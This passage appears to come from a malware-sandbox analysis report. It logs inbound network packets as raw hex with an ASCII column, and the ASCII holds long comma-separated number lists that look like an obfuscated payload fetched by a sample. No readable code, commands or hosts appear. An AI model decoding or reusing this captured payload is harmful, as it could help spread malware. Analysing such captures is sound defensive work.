2023-04-20 23:05:00 UTC	10381	IN	Data Raw: 65 35 2c 31 30 64 2c 38 61 2c 31 31 37 2c 63 30 2c 66 61 2c 31 30 38 2c 31 30 33 2c 36 39 2c 31 34 66 2c 37 36 2c 38 61 2c 31 30 63 2c 31 33 38 2c 65 35 2c 31 33 66 2c 61 62 2c 63 33 2c 64 34 2c 31 31 62 2c 35 35 2c 63 34 2c 63 37 2c 65 39 2c 37 63 2c 62 66 2c 64 63 2c 39 38 2c 31 36 35 2c 37 33 2c 35 34 2c 63 34 2c 31 30 33 2c 63 64 2c 31 31 34 2c 62 35 2c 62 37 2c 37 34 2c 38 38 2c 66 65 2c 31 35 36 2c 38 30 2c 65 36 2c 31 33 35 2c 36 63 2c 65 64 2c 66 37 2c 39 65 2c 31 30 66 2c 36 30 2c 65 35 2c 38 31 2c 38 36 2c 38 35 2c 39 33 2c 39 61 2c 31 33 32 2c 65 63 2c 38 31 2c 66 38 2c 37 64 2c 31 31 30 2c 31 31 65 2c 36 31 2c 38 64 2c 37 31 2c 31 34 33 2c 66 33 2c 65 38 2c 37 39 2c 31 30 32 2c 62 33 2c 31 35 62 2c 37 65 2c 31 35 62 2c 38 63 2c 64 66 2c 61 34 Data Ascii: e5,10d,8a,117,c0,fa,108,103,69,14f,76,8a,10c,138,e5,13f,ab,c3,d4,11b,55,c4,c7,e9,7c,bf,dc,98,165,73,54,c4,103,cd,114,b5,b7,74,88,fe,156,80,e6,135,6c,ed,f7,9e,10f,60,e5,81,86,85,93,9a,132,ec,81,f8,7d,110,11e,61,8d,71,143,f3,e8,79,102,b3,15b,7e,15b,8c,df,a4
2023-04-20 23:05:00 UTC	10397	IN	Data Raw: 35 2c 65 36 2c 31 35 61 2c 37 34 2c 38 35 2c 31 30 36 2c 66 65 2c 31 33 39 2c 38 31 2c 62 65 2c 64 39 2c 61 37 2c 31 32 35 2c 38 39 2c 34 64 2c 31 31 30 2c 31 33 61 2c 31 35 39 2c 31 32 37 2c 31 31 31 2c 38 66 2c 36 37 2c 66 66 2c 31 31 35 2c 65 37 2c 38 64 2c 65 34 2c 65 32 2c 31 30 36 2c 64 66 2c 66 37 2c 31 33 33 2c 31 34 38 2c 31 33 31 2c 38 65 2c 66 61 2c 31 31 61 2c 31 35 32 2c 33 33 2c 61 36 2c 65 62 2c 62 35 2c 31 34 36 2c 31 34 31 2c 39 62 2c 39 32 2c 62 35 2c 31 32 32 2c 31 34 61 2c 31 35 35 2c 31 30 34 2c 31 33 61 2c 66 62 2c 39 33 2c 61 32 2c 62 30 2c 66 33 2c 31 32 62 2c 31 34 66 2c 66 34 2c 31 30 35 2c 31 32 65 2c 36 39 2c 39 61 2c 65 31 2c 63 38 2c 39 31 2c 31 32 37 2c 38 36 2c 31 30 63 2c 31 30 61 2c 36 35 2c 66 38 2c 31 34 31 2c 31 33 38 Data Ascii: 5,e6,15a,74,85,106,fe,139,81,be,d9,a7,125,89,4d,110,13a,159,127,111,8f,67,ff,115,e7,8d,e4,e2,106,df,f7,133,148,131,8e,fa,11a,152,33,a6,eb,b5,146,141,9b,92,b5,122,14a,155,104,13a,fb,93,a2,b0,f3,12b,14f,f4,105,12e,69,9a,e1,c8,91,127,86,10c,10a,65,f8,141,138
2023-04-20 23:05:00 UTC	10413	IN	Data Raw: 2c 66 64 2c 65 30 2c 38 39 2c 37 66 2c 35 34 2c 62 32 2c 31 33 39 2c 36 65 2c 31 33 31 2c 31 30 34 2c 62 62 2c 31 36 34 2c 35 36 2c 64 66 2c 31 32 36 2c 31 33 35 2c 31 35 36 2c 63 31 2c 66 39 2c 65 35 2c 31 33 33 2c 65 34 2c 62 33 2c 31 32 38 2c 31 30 33 2c 31 34 37 2c 31 30 62 2c 66 37 2c 31 33 37 2c 31 36 33 2c 61 39 2c 64 61 2c 31 33 30 2c 35 66 2c 65 36 2c 31 31 34 2c 61 35 2c 63 38 2c 39 33 2c 31 35 61 2c 64 30 2c 35 30 2c 31 32 31 2c 65 37 2c 39 66 2c 36 39 2c 65 63 2c 31 36 32 2c 66 63 2c 31 32 64 2c 31 30 61 2c 31 31 62 2c 34 36 2c 62 35 2c 66 31 2c 31 35 36 2c 39 62 2c 31 34 63 2c 65 36 2c 31 30 30 2c 37 30 2c 31 33 62 2c 37 66 2c 31 34 65 2c 64 38 2c 31 30 64 2c 33 34 2c 36 62 2c 37 37 2c 35 66 2c 31 36 33 2c 65 35 2c 38 32 2c 63 66 2c 39 63 2c Data Ascii: ,fd,e0,89,7f,54,b2,139,6e,131,104,bb,164,56,df,126,135,156,c1,f9,e5,133,e4,b3,128,103,147,10b,f7,137,163,a9,da,130,5f,e6,114,a5,c8,93,15a,d0,50,121,e7,9f,69,ec,162,fc,12d,10a,11b,46,b5,f1,156,9b,14c,e6,100,70,13b,7f,14e,d8,10d,34,6b,77,5f,163,e5,82,cf,9c,
2023-04-20 23:05:00 UTC	10429	IN	Data Raw: 35 2c 31 34 31 2c 64 39 2c 61 38 2c 31 30 38 2c 31 30 35 2c 65 32 2c 63 38 2c 38 65 2c 62 63 2c 63 38 2c 31 30 66 2c 38 36 2c 31 34 33 2c 39 66 2c 65 63 2c 37 62 2c 39 36 2c 61 35 2c 31 34 30 2c 61 62 2c 37 37 2c 31 36 35 2c 66 39 2c 63 65 2c 31 30 37 2c 31 34 37 2c 61 63 2c 31 30 64 2c 37 30 2c 31 32 37 2c 63 65 2c 61 35 2c 34 65 2c 62 30 2c 37 36 2c 31 30 62 2c 31 34 31 2c 38 31 2c 65 31 2c 31 30 36 2c 37 32 2c 31 31 30 2c 31 30 31 2c 36 31 2c 31 30 64 2c 63 30 2c 63 66 2c 36 63 2c 39 38 2c 66 30 2c 31 34 36 2c 66 30 2c 31 32 38 2c 38 65 2c 66 38 2c 38 33 2c 35 38 2c 31 32 35 2c 36 37 2c 31 31 31 2c 36 30 2c 31 31 36 2c 31 34 63 2c 63 62 2c 39 30 2c 62 64 2c 61 30 2c 65 34 2c 39 66 2c 61 65 2c 62 39 2c 65 65 2c 31 36 38 2c 31 30 33 2c 64 32 2c 61 32 2c Data Ascii: 5,141,d9,a8,108,105,e2,c8,8e,bc,c8,10f,86,143,9f,ec,7b,96,a5,140,ab,77,165,f9,ce,107,147,ac,10d,70,127,ce,a5,4e,b0,76,10b,141,81,e1,106,72,110,101,61,10d,c0,cf,6c,98,f0,146,f0,128,8e,f8,83,58,125,67,111,60,116,14c,cb,90,bd,a0,e4,9f,ae,b9,ee,168,103,d2,a2,
2023-04-20 23:05:00 UTC	10445	IN	Data Raw: 37 61 2c 31 36 63 2c 66 61 2c 66 38 2c 61 62 2c 37 36 2c 31 34 62 2c 31 34 34 2c 31 31 35 2c 31 33 33 2c 66 39 2c 31 30 65 2c 38 66 2c 31 33 66 2c 31 31 39 2c 36 30 2c 34 32 2c 38 61 2c 31 30 64 2c 37 30 2c 31 37 36 2c 31 34 35 2c 63 38 2c 37 39 2c 61 61 2c 39 31 2c 31 30 34 2c 31 33 64 2c 31 33 61 2c 31 31 61 2c 64 63 2c 62 36 2c 39 61 2c 37 66 2c 31 32 31 2c 31 32 62 2c 31 35 34 2c 31 34 64 2c 31 32 32 2c 38 62 2c 31 31 61 2c 61 35 2c 66 30 2c 61 34 2c 39 61 2c 37 32 2c 31 34 64 2c 36 35 2c 38 35 2c 35 34 2c 31 30 62 2c 63 64 2c 63 63 2c 31 31 65 2c 31 34 31 2c 31 30 34 2c 31 32 66 2c 65 39 2c 38 37 2c 66 61 2c 31 30 65 2c 38 39 2c 31 30 35 2c 66 35 2c 38 66 2c 38 31 2c 31 30 65 2c 31 30 37 2c 31 35 32 2c 31 35 61 2c 66 66 2c 31 32 34 2c 65 62 2c 37 31 Data Ascii: 7a,16c,fa,f8,ab,76,14b,144,115,133,f9,10e,8f,13f,119,60,42,8a,10d,70,176,145,c8,79,aa,91,104,13d,13a,11a,dc,b6,9a,7f,121,12b,154,14d,122,8b,11a,a5,f0,a4,9a,72,14d,65,85,54,10b,cd,cc,11e,141,104,12f,e9,87,fa,10e,89,105,f5,8f,81,10e,107,152,15a,ff,124,eb,71
2023-04-20 23:05:00 UTC	10461	IN	Data Raw: 62 33 2c 64 37 2c 66 39 2c 38 37 2c 31 30 65 2c 62 33 2c 39 62 2c 31 35 32 2c 61 32 2c 33 63 2c 31 36 31 2c 31 34 65 2c 31 31 31 2c 36 64 2c 39 35 2c 64 33 2c 39 65 2c 31 31 34 2c 65 37 2c 65 30 2c 37 36 2c 61 31 2c 63 32 2c 39 38 2c 31 33 32 2c 31 34 37 2c 64 39 2c 31 34 38 2c 36 30 2c 31 32 66 2c 62 34 2c 35 36 2c 31 31 65 2c 61 36 2c 61 33 2c 64 33 2c 31 33 30 2c 31 30 65 2c 31 30 34 2c 31 31 61 2c 64 35 2c 63 30 2c 31 30 62 2c 66 63 2c 64 63 2c 31 30 30 2c 31 34 66 2c 62 63 2c 31 32 38 2c 65 62 2c 66 31 2c 65 38 2c 39 34 2c 31 31 63 2c 38 61 2c 31 30 35 2c 61 65 2c 66 39 2c 62 39 2c 62 33 2c 31 31 64 2c 38 30 2c 31 33 62 2c 62 64 2c 61 31 2c 31 34 34 2c 31 30 61 2c 64 39 2c 65 31 2c 64 33 2c 66 31 2c 61 35 2c 31 31 35 2c 31 33 34 2c 31 31 64 2c 62 64 Data Ascii: b3,d7,f9,87,10e,b3,9b,152,a2,3c,161,14e,111,6d,95,d3,9e,114,e7,e0,76,a1,c2,98,132,147,d9,148,60,12f,b4,56,11e,a6,a3,d3,130,10e,104,11a,d5,c0,10b,fc,dc,100,14f,bc,128,eb,f1,e8,94,11c,8a,105,ae,f9,b9,b3,11d,80,13b,bd,a1,144,10a,d9,e1,d3,f1,a5,115,134,11d,bd
2023-04-20 23:05:00 UTC	10477	IN	Data Raw: 2c 31 37 33 2c 31 30 34 2c 31 32 31 2c 31 30 36 2c 63 34 2c 61 31 2c 39 61 2c 31 31 61 2c 61 61 2c 31 35 30 2c 31 32 30 2c 31 30 33 2c 64 62 2c 38 62 2c 31 33 30 2c 31 34 36 2c 31 33 33 2c 37 30 2c 36 63 2c 37 31 2c 62 62 2c 31 33 65 2c 63 30 2c 65 64 2c 38 36 2c 31 30 64 2c 31 32 33 2c 31 34 37 2c 35 30 2c 31 35 33 2c 66 39 2c 61 63 2c 31 35 37 2c 39 39 2c 31 34 39 2c 34 38 2c 31 36 38 2c 31 32 62 2c 31 32 38 2c 61 30 2c 62 66 2c 65 62 2c 31 35 37 2c 66 34 2c 33 35 2c 31 31 64 2c 61 61 2c 36 66 2c 31 33 34 2c 66 34 2c 31 30 38 2c 66 64 2c 35 33 2c 66 31 2c 31 32 38 2c 63 31 2c 62 64 2c 35 65 2c 36 66 2c 37 35 2c 31 31 31 2c 31 32 36 2c 64 65 2c 31 32 35 2c 31 33 62 2c 65 65 2c 37 31 2c 36 30 2c 61 38 2c 66 33 2c 61 33 2c 31 34 30 2c 62 33 2c 61 37 2c 31 Data Ascii: ,173,104,121,106,c4,a1,9a,11a,aa,150,120,103,db,8b,130,146,133,70,6c,71,bb,13e,c0,ed,86,10d,123,147,50,153,f9,ac,157,99,149,48,168,12b,128,a0,bf,eb,157,f4,35,11d,aa,6f,134,f4,108,fd,53,f1,128,c1,bd,5e,6f,75,111,126,de,125,13b,ee,71,60,a8,f3,a3,140,b3,a7,1
2023-04-20 23:05:00 UTC	10493	IN	Data Raw: 33 2c 34 31 2c 31 34 34 2c 64 30 2c 64 32 2c 64 65 2c 36 61 2c 31 33 37 2c 31 32 62 2c 31 30 36 2c 66 36 2c 62 35 2c 63 62 2c 31 37 30 2c 38 34 2c 31 30 36 2c 31 30 65 2c 31 34 33 2c 31 32 33 2c 31 30 33 2c 31 31 61 2c 37 37 2c 39 31 2c 31 32 62 2c 62 64 2c 38 39 2c 31 35 35 2c 34 33 2c 61 34 2c 31 30 30 2c 65 35 2c 62 39 2c 31 30 32 2c 31 30 31 2c 35 62 2c 31 30 66 2c 31 37 36 2c 31 31 32 2c 31 34 34 2c 63 34 2c 35 30 2c 33 37 2c 31 33 66 2c 61 36 2c 66 61 2c 65 38 2c 31 32 63 2c 31 30 64 2c 31 30 30 2c 37 66 2c 37 66 2c 63 31 2c 35 30 2c 31 32 34 2c 31 31 31 2c 31 33 35 2c 31 33 61 2c 65 61 2c 37 31 2c 34 66 2c 31 34 31 2c 36 34 2c 39 39 2c 31 32 32 2c 31 36 35 2c 63 33 2c 36 34 2c 31 31 38 2c 39 36 2c 31 34 63 2c 64 62 2c 65 32 2c 63 39 2c 65 38 2c 31 Data Ascii: 3,41,144,d0,d2,de,6a,137,12b,106,f6,b5,cb,170,84,106,10e,143,123,103,11a,77,91,12b,bd,89,155,43,a4,100,e5,b9,102,101,5b,10f,176,112,144,c4,50,37,13f,a6,fa,e8,12c,10d,100,7f,7f,c1,50,124,111,135,13a,ea,71,4f,141,64,99,122,165,c3,64,118,96,14c,db,e2,c9,e8,1
2023-04-20 23:05:00 UTC	10509	IN	Data Raw: 66 2c 39 38 2c 62 66 2c 35 64 2c 63 64 2c 31 30 37 2c 63 66 2c 35 62 2c 31 30 64 2c 65 38 2c 31 35 64 2c 31 34 63 2c 62 64 2c 63 36 2c 31 30 31 2c 38 35 2c 66 35 2c 31 34 32 2c 38 34 2c 31 35 30 2c 31 32 36 2c 37 39 2c 38 36 2c 31 34 33 2c 31 32 30 2c 31 33 64 2c 64 62 2c 65 30 2c 31 32 36 2c 61 34 2c 33 63 2c 31 35 32 2c 31 30 36 2c 31 35 35 2c 31 35 37 2c 64 64 2c 36 66 2c 39 33 2c 31 31 61 2c 65 38 2c 65 62 2c 64 34 2c 31 32 30 2c 31 36 33 2c 31 36 33 2c 31 32 36 2c 64 38 2c 36 37 2c 63 38 2c 62 36 2c 66 33 2c 31 34 32 2c 31 33 38 2c 31 30 37 2c 65 36 2c 64 61 2c 33 37 2c 31 33 66 2c 64 30 2c 66 64 2c 61 32 2c 31 35 36 2c 31 31 37 2c 63 66 2c 31 33 66 2c 31 34 62 2c 62 35 2c 31 34 32 2c 31 31 65 2c 31 31 35 2c 66 32 2c 31 33 38 2c 31 31 31 2c 37 61 2c Data Ascii: f,98,bf,5d,cd,107,cf,5b,10d,e8,15d,14c,bd,c6,101,85,f5,142,84,150,126,79,86,143,120,13d,db,e0,126,a4,3c,152,106,155,157,dd,6f,93,11a,e8,eb,d4,120,163,163,126,d8,67,c8,b6,f3,142,138,107,e6,da,37,13f,d0,fd,a2,156,117,cf,13f,14b,b5,142,11e,115,f2,138,111,7a,
2023-04-20 23:05:00 UTC	10525	IN	Data Raw: 2c 37 36 2c 65 36 2c 39 64 2c 33 35 2c 65 65 2c 31 31 32 2c 62 62 2c 62 37 2c 37 31 2c 63 30 2c 37 31 2c 66 62 2c 31 31 35 2c 65 66 2c 31 32 65 2c 31 34 64 2c 31 37 30 2c 61 30 2c 36 32 2c 39 38 2c 37 66 2c 31 30 37 2c 61 34 2c 36 64 2c 62 37 2c 31 35 65 2c 38 34 2c 63 64 2c 31 30 32 2c 64 37 2c 38 65 2c 31 33 61 2c 35 63 2c 31 33 36 2c 38 63 2c 66 61 2c 63 64 2c 37 30 2c 38 37 2c 31 34 37 2c 39 30 2c 31 33 62 2c 61 66 2c 31 32 31 2c 31 32 31 2c 36 61 2c 38 63 2c 65 38 2c 66 30 2c 64 61 2c 31 33 35 2c 38 66 2c 63 37 2c 38 36 2c 35 33 2c 37 62 2c 31 31 62 2c 62 63 2c 63 37 2c 61 36 2c 63 34 2c 39 35 2c 31 36 37 2c 31 35 31 2c 37 32 2c 31 32 66 2c 35 39 2c 38 63 2c 66 62 2c 35 61 2c 38 64 2c 39 64 2c 31 30 32 2c 31 32 35 2c 63 39 2c 65 62 2c 62 64 2c 31 30 Data Ascii: ,76,e6,9d,35,ee,112,bb,b7,71,c0,71,fb,115,ef,12e,14d,170,a0,62,98,7f,107,a4,6d,b7,15e,84,cd,102,d7,8e,13a,5c,136,8c,fa,cd,70,87,147,90,13b,af,121,121,6a,8c,e8,f0,da,135,8f,c7,86,53,7b,11b,bc,c7,a6,c4,95,167,151,72,12f,59,8c,fb,5a,8d,9d,102,125,c9,eb,bd,10
2023-04-20 23:05:00 UTC	10541	IN	Data Raw: 2c 31 33 64 2c 31 35 63 2c 31 33 62 2c 31 31 34 2c 35 31 2c 65 61 2c 62 37 2c 35 33 2c 39 33 2c 31 33 39 2c 31 36 30 2c 31 35 32 2c 66 35 2c 36 34 2c 65 36 2c 31 35 64 2c 31 34 62 2c 35 64 2c 38 63 2c 35 30 2c 64 34 2c 64 32 2c 31 30 65 2c 39 35 2c 66 34 2c 31 35 30 2c 66 61 2c 38 31 2c 31 35 36 2c 37 32 2c 39 32 2c 66 30 2c 31 30 31 2c 31 35 37 2c 64 65 2c 62 62 2c 39 64 2c 66 66 2c 61 39 2c 39 39 2c 31 34 63 2c 31 34 65 2c 31 30 35 2c 36 65 2c 31 33 31 2c 62 30 2c 31 30 61 2c 31 36 31 2c 31 37 31 2c 61 33 2c 31 33 33 2c 36 31 2c 65 64 2c 66 34 2c 62 33 2c 37 61 2c 37 62 2c 31 30 65 2c 31 33 36 2c 62 63 2c 37 38 2c 66 33 2c 38 66 2c 35 39 2c 37 35 2c 31 36 30 2c 61 38 2c 35 64 2c 31 32 63 2c 38 36 2c 38 62 2c 38 36 2c 64 38 2c 36 61 2c 31 32 65 2c 66 63 Data Ascii: ,13d,15c,13b,114,51,ea,b7,53,93,139,160,152,f5,64,e6,15d,14b,5d,8c,50,d4,d2,10e,95,f4,150,fa,81,156,72,92,f0,101,157,de,bb,9d,ff,a9,99,14c,14e,105,6e,131,b0,10a,161,171,a3,133,61,ed,f4,b3,7a,7b,10e,136,bc,78,f3,8f,59,75,160,a8,5d,12c,86,8b,86,d8,6a,12e,fc
2023-04-20 23:05:00 UTC	10557	IN	Data Raw: 38 2c 65 37 2c 65 63 2c 34 36 2c 37 62 2c 62 31 2c 31 31 61 2c 39 35 2c 39 36 2c 62 36 2c 35 63 2c 31 31 61 2c 31 34 37 2c 61 32 2c 31 34 34 2c 64 33 2c 31 32 39 2c 31 31 62 2c 64 31 2c 36 37 2c 31 32 61 2c 31 30 30 2c 31 34 31 2c 61 34 2c 62 66 2c 37 64 2c 31 33 34 2c 39 37 2c 31 31 38 2c 66 63 2c 31 36 30 2c 31 31 30 2c 65 63 2c 62 66 2c 65 64 2c 39 66 2c 65 38 2c 37 66 2c 31 31 36 2c 31 36 31 2c 39 61 2c 31 31 35 2c 31 33 37 2c 35 37 2c 37 62 2c 66 61 2c 63 35 2c 63 34 2c 62 35 2c 34 33 2c 31 34 62 2c 35 39 2c 31 31 66 2c 39 61 2c 31 32 39 2c 31 30 30 2c 37 30 2c 66 66 2c 31 34 32 2c 39 32 2c 37 31 2c 31 32 62 2c 31 37 31 2c 62 33 2c 66 39 2c 31 32 34 2c 62 32 2c 31 32 35 2c 31 30 33 2c 31 30 32 2c 31 33 63 2c 31 33 64 2c 66 37 2c 33 63 2c 66 37 2c 66 Data Ascii: 8,e7,ec,46,7b,b1,11a,95,96,b6,5c,11a,147,a2,144,d3,129,11b,d1,67,12a,100,141,a4,bf,7d,134,97,118,fc,160,110,ec,bf,ed,9f,e8,7f,116,161,9a,115,137,57,7b,fa,c5,c4,b5,43,14b,59,11f,9a,129,100,70,ff,142,92,71,12b,171,b3,f9,124,b2,125,103,102,13c,13d,f7,3c,f7,f
2023-04-20 23:05:00 UTC	10573	IN	Data Raw: 65 35 2c 39 34 2c 35 32 2c 38 65 2c 31 32 33 2c 39 30 2c 66 33 2c 64 66 2c 62 64 2c 63 30 2c 37 63 2c 61 66 2c 31 31 62 2c 38 38 2c 31 34 66 2c 34 32 2c 64 39 2c 61 39 2c 31 30 64 2c 31 34 31 2c 39 66 2c 65 30 2c 34 38 2c 39 30 2c 65 61 2c 34 66 2c 36 33 2c 38 30 2c 62 33 2c 66 34 2c 62 63 2c 31 36 35 2c 31 31 62 2c 61 36 2c 31 34 38 2c 31 32 35 2c 66 64 2c 36 66 2c 36 37 2c 34 36 2c 66 61 2c 38 39 2c 31 34 31 2c 31 33 30 2c 38 32 2c 39 39 2c 66 35 2c 31 31 35 2c 31 33 65 2c 31 31 37 2c 31 32 63 2c 31 37 32 2c 65 31 2c 31 31 65 2c 31 30 37 2c 32 65 2c 31 30 63 2c 62 36 2c 65 39 2c 62 63 2c 66 36 2c 31 35 31 2c 31 32 36 2c 31 32 65 2c 63 35 2c 31 31 66 2c 35 63 2c 31 32 38 2c 31 36 36 2c 35 66 2c 31 32 34 2c 31 32 64 2c 64 37 2c 66 34 2c 31 30 36 2c 31 30 Data Ascii: e5,94,52,8e,123,90,f3,df,bd,c0,7c,af,11b,88,14f,42,d9,a9,10d,141,9f,e0,48,90,ea,4f,63,80,b3,f4,bc,165,11b,a6,148,125,fd,6f,67,46,fa,89,141,130,82,99,f5,115,13e,117,12c,172,e1,11e,107,2e,10c,b6,e9,bc,f6,151,126,12e,c5,11f,5c,128,166,5f,124,12d,d7,f4,106,10
2023-04-20 23:05:00 UTC	10589	IN	Data Raw: 32 38 2c 66 63 2c 61 34 2c 31 30 65 2c 39 37 2c 65 33 2c 31 35 31 2c 31 31 32 2c 39 38 2c 31 34 66 2c 31 35 33 2c 31 34 37 2c 38 63 2c 34 30 2c 31 30 36 2c 31 32 62 2c 62 66 2c 31 32 39 2c 39 62 2c 61 30 2c 39 38 2c 31 30 61 2c 63 61 2c 65 31 2c 31 32 38 2c 63 38 2c 31 36 30 2c 66 62 2c 61 63 2c 31 34 38 2c 39 35 2c 37 37 2c 31 34 34 2c 31 31 39 2c 37 66 2c 31 31 64 2c 66 64 2c 66 37 2c 39 30 2c 38 34 2c 39 37 2c 62 38 2c 31 33 64 2c 61 32 2c 31 35 35 2c 39 38 2c 31 34 34 2c 65 63 2c 61 32 2c 38 62 2c 63 34 2c 65 66 2c 62 34 2c 38 61 2c 64 30 2c 31 30 36 2c 65 33 2c 31 35 33 2c 65 32 2c 31 32 30 2c 61 63 2c 31 30 33 2c 31 35 31 2c 39 63 2c 35 35 2c 65 66 2c 64 63 2c 31 31 30 2c 39 64 2c 64 61 2c 63 38 2c 64 38 2c 63 66 2c 62 30 2c 31 30 66 2c 65 63 2c 62 Data Ascii: 28,fc,a4,10e,97,e3,151,112,98,14f,153,147,8c,40,106,12b,bf,129,9b,a0,98,10a,ca,e1,128,c8,160,fb,ac,148,95,77,144,119,7f,11d,fd,f7,90,84,97,b8,13d,a2,155,98,144,ec,a2,8b,c4,ef,b4,8a,d0,106,e3,153,e2,120,ac,103,151,9c,55,ef,dc,110,9d,da,c8,d8,cf,b0,10f,ec,b
2023-04-20 23:05:00 UTC	10605	IN	Data Raw: 34 33 2c 64 33 2c 31 34 65 2c 31 31 64 2c 61 63 2c 31 31 62 2c 64 66 2c 31 33 36 2c 39 62 2c 31 30 61 2c 61 64 2c 31 31 63 2c 31 36 30 2c 66 32 2c 36 63 2c 65 32 2c 39 30 2c 36 32 2c 35 33 2c 31 31 64 2c 65 62 2c 39 61 2c 62 37 2c 64 39 2c 31 30 36 2c 31 31 66 2c 64 66 2c 63 39 2c 35 38 2c 36 62 2c 64 33 2c 61 34 2c 31 31 39 2c 31 32 30 2c 36 36 2c 31 33 65 2c 31 31 36 2c 62 66 2c 35 38 2c 63 65 2c 61 65 2c 34 30 2c 31 30 30 2c 31 33 31 2c 65 61 2c 62 65 2c 64 30 2c 62 63 2c 31 33 39 2c 38 36 2c 34 38 2c 31 30 33 2c 39 34 2c 36 62 2c 31 35 62 2c 66 61 2c 31 34 34 2c 66 37 2c 31 35 36 2c 31 31 65 2c 36 34 2c 37 34 2c 39 33 2c 62 36 2c 31 32 36 2c 35 34 2c 31 34 36 2c 31 32 30 2c 31 34 39 2c 31 32 33 2c 34 34 2c 31 33 66 2c 31 35 37 2c 37 39 2c 61 66 2c 65 Data Ascii: 43,d3,14e,11d,ac,11b,df,136,9b,10a,ad,11c,160,f2,6c,e2,90,62,53,11d,eb,9a,b7,d9,106,11f,df,c9,58,6b,d3,a4,119,120,66,13e,116,bf,58,ce,ae,40,100,131,ea,be,d0,bc,139,86,48,103,94,6b,15b,fa,144,f7,156,11e,64,74,93,b6,126,54,146,120,149,123,44,13f,157,79,af,e
2023-04-20 23:05:00 UTC	10621	IN	Data Raw: 34 2c 36 61 2c 64 39 2c 31 33 64 2c 31 33 35 2c 64 30 2c 35 36 2c 31 32 33 2c 37 63 2c 31 36 33 2c 64 36 2c 36 64 2c 31 31 30 2c 66 62 2c 64 34 2c 38 36 2c 35 39 2c 65 34 2c 31 35 30 2c 31 35 34 2c 31 30 38 2c 31 30 35 2c 31 36 35 2c 31 30 30 2c 61 35 2c 65 61 2c 31 36 64 2c 31 35 38 2c 36 66 2c 31 30 34 2c 31 31 65 2c 61 61 2c 39 34 2c 38 63 2c 31 35 61 2c 64 37 2c 64 61 2c 63 31 2c 31 34 30 2c 31 31 63 2c 61 64 2c 61 31 2c 31 31 39 2c 38 37 2c 38 66 2c 64 63 2c 31 30 64 2c 36 65 2c 39 61 2c 39 38 2c 31 33 35 2c 31 33 32 2c 34 39 2c 31 32 32 2c 37 63 2c 65 63 2c 36 39 2c 35 33 2c 31 33 31 2c 66 33 2c 64 31 2c 31 30 63 2c 61 38 2c 65 66 2c 39 34 2c 66 63 2c 62 39 2c 65 34 2c 31 30 62 2c 31 31 32 2c 64 34 2c 31 32 39 2c 31 34 36 2c 62 38 2c 62 33 2c 31 31 Data Ascii: 4,6a,d9,13d,135,d0,56,123,7c,163,d6,6d,110,fb,d4,86,59,e4,150,154,108,105,165,100,a5,ea,16d,158,6f,104,11e,aa,94,8c,15a,d7,da,c1,140,11c,ad,a1,119,87,8f,dc,10d,6e,9a,98,135,132,49,122,7c,ec,69,53,131,f3,d1,10c,a8,ef,94,fc,b9,e4,10b,112,d4,129,146,b8,b3,11
2023-04-20 23:05:00 UTC	10637	IN	Data Raw: 31 32 62 2c 31 33 35 2c 64 65 2c 31 35 31 2c 31 33 35 2c 63 37 2c 35 39 2c 31 33 33 2c 31 31 61 2c 31 33 30 2c 31 30 30 2c 31 30 34 2c 39 39 2c 38 39 2c 64 63 2c 37 37 2c 31 32 63 2c 31 34 38 2c 37 31 2c 31 31 38 2c 63 66 2c 31 30 30 2c 31 33 62 2c 36 62 2c 36 33 2c 31 31 63 2c 37 64 2c 66 66 2c 31 33 38 2c 63 64 2c 38 32 2c 61 37 2c 36 31 2c 31 30 62 2c 63 30 2c 36 63 2c 31 32 31 2c 61 32 2c 62 34 2c 64 30 2c 31 37 36 2c 39 33 2c 31 30 35 2c 66 33 2c 31 31 61 2c 62 63 2c 62 38 2c 63 66 2c 31 32 64 2c 31 30 30 2c 62 39 2c 31 30 33 2c 31 32 39 2c 31 33 35 2c 31 34 66 2c 38 38 2c 38 39 2c 66 30 2c 38 38 2c 31 30 33 2c 36 31 2c 37 38 2c 65 31 2c 63 38 2c 35 35 2c 61 63 2c 36 65 2c 31 30 33 2c 66 34 2c 38 65 2c 35 37 2c 39 30 2c 31 36 33 2c 31 35 38 2c 63 62 Data Ascii: 12b,135,de,151,135,c7,59,133,11a,130,100,104,99,89,dc,77,12c,148,71,118,cf,100,13b,6b,63,11c,7d,ff,138,cd,82,a7,61,10b,c0,6c,121,a2,b4,d0,176,93,105,f3,11a,bc,b8,cf,12d,100,b9,103,129,135,14f,88,89,f0,88,103,61,78,e1,c8,55,ac,6e,103,f4,8e,57,90,163,158,cb
2023-04-20 23:05:00 UTC	10653	IN	Data Raw: 33 2c 31 34 63 2c 37 33 2c 31 34 63 2c 61 63 2c 31 31 39 2c 64 37 2c 31 34 39 2c 31 30 34 2c 36 39 2c 37 35 2c 31 35 35 2c 31 32 61 2c 31 32 34 2c 35 63 2c 37 34 2c 66 65 2c 39 66 2c 31 33 65 2c 38 64 2c 31 30 62 2c 34 61 2c 35 37 2c 35 36 2c 61 36 2c 31 30 32 2c 31 34 35 2c 31 32 39 2c 63 34 2c 31 32 65 2c 31 35 36 2c 62 38 2c 37 37 2c 63 63 2c 65 34 2c 31 36 64 2c 65 64 2c 31 31 38 2c 66 32 2c 31 32 61 2c 31 30 38 2c 34 65 2c 64 64 2c 65 36 2c 31 30 36 2c 31 31 39 2c 38 63 2c 61 32 2c 64 31 2c 31 30 65 2c 38 66 2c 65 64 2c 36 61 2c 39 39 2c 64 37 2c 31 34 65 2c 63 36 2c 35 39 2c 31 32 32 2c 31 32 61 2c 38 35 2c 34 38 2c 61 65 2c 31 34 31 2c 66 66 2c 36 32 2c 64 30 2c 31 36 62 2c 62 66 2c 36 32 2c 62 61 2c 31 32 61 2c 63 34 2c 35 65 2c 31 32 33 2c 62 66 Data Ascii: 3,14c,73,14c,ac,119,d7,149,104,69,75,155,12a,124,5c,74,fe,9f,13e,8d,10b,4a,57,56,a6,102,145,129,c4,12e,156,b8,77,cc,e4,16d,ed,118,f2,12a,108,4e,dd,e6,106,119,8c,a2,d1,10e,8f,ed,6a,99,d7,14e,c6,59,122,12a,85,48,ae,141,ff,62,d0,16b,bf,62,ba,12a,c4,5e,123,bf
